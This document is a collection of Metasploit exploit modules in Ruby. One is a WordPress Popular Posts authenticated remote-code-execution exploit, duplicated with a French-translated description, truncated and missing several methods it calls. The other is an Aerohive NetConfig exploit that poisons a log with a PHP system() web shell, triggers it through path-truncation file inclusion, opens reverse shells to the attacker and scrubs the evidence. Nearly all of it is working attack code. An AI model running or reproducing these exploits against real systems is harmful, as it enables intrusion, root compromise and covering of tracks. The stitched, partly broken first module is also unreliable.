
### Ce module requiert Metasploit : https://metasploit.com/download# Source actuelle : https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ Cet exploit requiert que Metasploit dispose d'un FQDN et de la capacité d'exécuter un serveur web de charge utile sur le port 80, 443 ou 8080. Le FQDN ne doit pas non plus résoudre vers une adresse réservée (192/172/127/10). Le serveur doit également répondre à une requête HEAD pour la charge utile, avant de recevoir une requête GET. Cet exploit tire parti d'une validation d'entrée incorrecte authentifiée dans le plugin Wordpress Popular Posts <= 5.3.2. La chaîne d'exploitation est plutôt compliquée. L'authentification est requise et l'extension PHP 'gd' est nécessaire sur le serveur. Ensuite, le plugin Popular Post est reconfiguré pour autoriser une URL arbitraire pour l'image du post dans le widget. Un post est créé, puis des requêtes sont envoyées au post pour le rendre plus populaire que le précédent n°1 de 5. Une fois que le post atteint le top 5, et après un rafraîchissement du cache serveur de 60 secondes (nous attendons 90), le widget de la page d'accueil est chargé, ce qui déclenche le téléchargement de la charge utile depuis notre serveur par le plugin. Notre charge utile a un en-tête 'GIF' et une double extension ('.gif.php') permettant d'exécuter du code PHP arbitraire. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wo
class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', '' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', '' ], [ 'URL', '' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"])/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"])/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See . Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # this value>/<and anything after> (1..post_count).each do || @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen end end
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE',
'Description' => %q{
This module exploits LFI and log poisoning vulnerabilities
(CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a
build-242466 and older in order to achieve unauthenticated remote
code execution as the root user. NetConfig is the Aerohive/Extreme
Networks HiveOS administrative webinterface. Vulnerable versions
allow for LFI because they rely on a version of PHP 5 that is
vulnerable to string truncation attacks. This module leverages this
issue in conjunction with log poisoning to gain RCE as root.
Upon successful exploitation, the Aerohive NetConfig application
will hang for as long as the spawned shell remains open. Closing
the session should render the app responsive again.
The module provides an automatic cleanup option to clean the log.
However, this option is disabled by default because any modifications
to the /tmp/messages log, even via sed, may render the target
(temporarily) unexploitable. This state can last over an hour.
This module has been successfully tested against Aerohive NetConfig
versions 8.2r4 and 10.0r7a.
},
'License' => MSF_LICENSE,
'Author' => [
'Erik de Jong', # github.com/eriknl - discovery and PoC
'Erik Wynter' # @wyntererik - Metasploit
],
'References' => [
['CVE', '2020-16152'], # still categorized as RESERVED
['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code
],
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
},
'Platform' => %w[linux unix],
'Arch' => [ ARCH_ARMLE, ARCH_CMD ],
'Targets' => [
[
'Linux', {
'Arch' => [ARCH_ARMLE],
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl'
}
}
],
[
'CMD', {
'Arch' => [ARCH_CMD],
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target'
}
}
]
],
'Privileged' => true,
'DisclosureDate' => '2020-02-17',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options [
OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']),
OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]),
]
end
def auto_clean_log
datastore['AUTO_CLEAN_LOG']
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php5')
})
unless res
return CheckCode::Unknown('Connection failed.')
end
unless res.code == 200 && res.body.include?('Aerohive NetConfig UI')
return CheckCode::Safe('Target is not an Aerohive NetConfig application.')
end
version = res.body.scan(/action="login.php5?version=(.*?)"/)&.flatten&.first
unless version
return CheckCode::Detected('Could not determine Aerohive NetConfig version.')
end
begin
if Rex::Version.new(version) <= Rex::Version.new('10.0r8a')
return CheckCode::Appears("The target is Aerohive NetConfig version #{version}")
else
print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.')
return CheckCode::Safe("The target is Aerohive NetConfig version #{version}")
end
rescue StandardError => e
return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}")
end
end
def poison_log
password = rand_text_alphanumeric(8..12)
@shell_cmd_name = rand_text_alphanumeric(3..6)
@poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>"
# Poison /tmp/messages
print_status('Attempting to poison the log at /tmp/messages...')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'login.php5'),
'vars_post' => {
'login_auth' => 0,
'miniHiveUI' => 1,
'authselect' => 'Name/Password',
'userName' => @poison_cmd,
'password' => password
}
})
unless res
fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages')
end
unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==')
fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages')
end
print_status('Server responded as expected. Continuing...')
end
def on_new_session(session)
log_cleaned = false
if auto_clean_log
print_status('Attempting to clean the log file at /tmp/messages...')
print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.')
begin
# We need remove the line containing the PHP system call from /tmp/messages
# The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username.
# Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line
# The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same:
# In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period.
line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}"
clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}"
cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "
"grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}"
if session.type.to_s.eql? 'meterpreter'
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
session.sys.process.execute('/bin/sh', "-c "#{cmds_to_clean_log}"")
# Wait for cleanup
Rex.sleep 5
# Check for the PHP system call in /tmp/messages
messages_contents = session.fs.file.open('/tmp/messages').read.to_s
# using =~ here produced unexpected results, so include? is used instead
unless messages_contents.include?(@poison_cmd)
log_cleaned = true
end
elsif session.type.to_s.eql?('shell')
session.shell_command_token(cmds_to_clean_log.to_s)
# Check for the PHP system call in /tmp/messages
poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'")
# using =~ here produced unexpected results, so include? is used instead
unless poison_evidence.include?(@poison_cmd)
log_cleaned = true
end
end
rescue StandardError => e
print_error("Error during cleanup: #{e.message}")
ensure
super
end
unless log_cleaned
print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages")
end
end
if log_cleaned
print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.')
else
print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}")
print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.')
print_warning('Deleting /tmp/messages or clearing out the file may break the application.')
end
end
def execute_command(cmd, _opts = {})
print_status('Attempting to execute the payload')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'action.php5'),
'vars_get' => {
'_action' => 'list',
'debug' => 'true'
},
'vars_post' => {
'_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation
@shell_cmd_name => cmd
}
}, 0)
print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.')
end
def exploit
poison_log
if target.arch.first == ARCH_CMD
print_status('Executing the payload')
execute_command(payload.encoded)
else
execute_cmdstager(background: true)
end
end
end